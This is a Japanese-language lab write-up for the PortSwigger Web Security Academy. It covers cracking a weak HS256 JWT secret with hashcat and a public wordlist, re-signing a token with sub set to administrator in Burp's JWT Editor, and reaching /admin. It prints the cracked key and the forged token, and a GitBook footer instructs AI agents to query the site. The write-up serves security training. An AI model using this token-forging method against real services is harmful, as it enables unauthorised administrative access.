> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/jwt/jwt-authentication-bypass-with-a-weak-key.md).

# 弱い鍵を使ったJWT認証バイパス

弱い鍵を使ったJWT認証バイパスの PortSwigger Web Security Academy ラボ向けノート。攻撃フロー、ペイロードテスト、Burp Suite による検証、および是正策の文脈を含みます。

### 弱い署名鍵による JWT 認証バイパス

**ラボの説明**

このラボではJWTベースのセッション機構を使用しています。 / 使用される秘密鍵は **トークンの署名と検証に使われる秘密鍵の強度が非常に低く**、これにより **簡単に破られる** 一般的なシークレットの一覧を使って。

目的：

* サーバーが使用している秘密鍵を見つけます。\*この鍵で有効な JWT を偽造して、 `/admin` 管理パネルにアクセスします。
* ユーザーを削除 **carlos**.

提供された認証情報:/ `wiener:peter`

\*\* 回収された初期 JWT\*\*

{% code overflow="wrap" %}

```bash
eyJraWQiOiIzY2YwN2U1OC03N2RkLTQ5MjItYThiMi03MDJjZTdlNWI2ZTAiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzMzIxMywic3ViIjoid2llbmVyIn0.kjImRYXxwKADFnrNT6GRsF3eHmD5IDqvTwpLBuHaKv4
```

{% endcode %}

使用されているアルゴリズムは **HS256**、したがって **対称アルゴリズム** であり、共有シークレットに基づいています。

**秘密鍵を総当たりで探索する**

一般的な JWT シークレットの一覧を使用します：

```bash
wget https://raw.githubusercontent.com/wallarm/jwt-secrets/refs/heads/master/jwt.secrets.list
```

次に、以下を使って総当たり攻撃を開始します。 **hashcat**:

```bash
hashcat -a 0 jwt jwt.secrets.list
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e42e813a74582a3d5ade394ffd29fbb5e32f82ef%2Fimage%20(176).png?alt=media" alt=""><figcaption></figcaption></figure>

結果：

* 見つかった秘密鍵： **`secret1`**

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9e90e2ef974acff2e13001c29fccbe60c5ccf1b0%2Fimage%20(177).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0908f5bba13fd560518bbf3f325a27e6046e56da%2Fimage%20(178).png?alt=media" alt=""><figcaption></figcaption></figure>

**署名用の鍵の準備**

その **JWT Editor** 拡張機能は Base64 形式の鍵を待っています。

鍵のエンコード：

```bash
c2VjcmV0MQ==
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-62cd648c9352c41fb24000959c6a3dc1fabaab17%2Fimage%20(179).png?alt=media" alt=""><figcaption></figcaption></figure>

JWT Editor で対称鍵を作成する：

```json
{
    "kty": "oct",
    "kid": "caa550f1-7d46-472b-a09f-8fa958937e48",
    "k": "c2VjcmV0MQ=="
}
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-923df56ec7c3033d6218977884c33b4113bfdd05%2Fimage%20(180).png?alt=media" alt=""><figcaption></figcaption></figure>

キーID（`kid`）が生成され、その後トークンの署名に使用されます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b1f6c6990d9b028a08ca84c95db4da725f9085d%2Fimage%20(181).png?alt=media" alt=""><figcaption></figcaption></figure>

**JWT の改ざん**

* JWT を含むリクエストを傍受する。
* 次を変更する `sub` フィールド：
* `wiener` → `administrator`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e71d1b637e3795c1bc7a7e32a8db761ff9e9e479%2Fimage%20(182).png?alt=media" alt=""><figcaption></figcaption></figure>

見つかった秘密鍵でトークンを再署名する

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6a1f2c1adba3c60fa3744add479111444d7fc8d7%2Fimage%20(183).png?alt=media" alt=""><figcaption></figcaption></figure>

最終的に偽造した JWT：

```bash
eyJraWQiOiI5MTVjNmE0Yy1iNzA3LTRmMmYtOTU3Ny05ODdhNWNhMzM1YjYiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzNDY3MSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.8VSJ5AinItZtayGFFfgsGidQuEIcxlzY6clVk1moITQ
```

**結果**

* サーバーは弱い鍵で署名された JWT を受け入れます。
* へのアクセスに成功 `/admin` パネル。
* ユーザーは \*\*管理者\*\* と認識されます。
* ユーザーの削除後、ラボは検証されます **carlos**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3c74eee1bf826cc0f74eff3c38b88b2a0b1d8e0c%2Fimage%20(184).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/jwt/jwt-authentication-bypass-with-a-weak-key.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
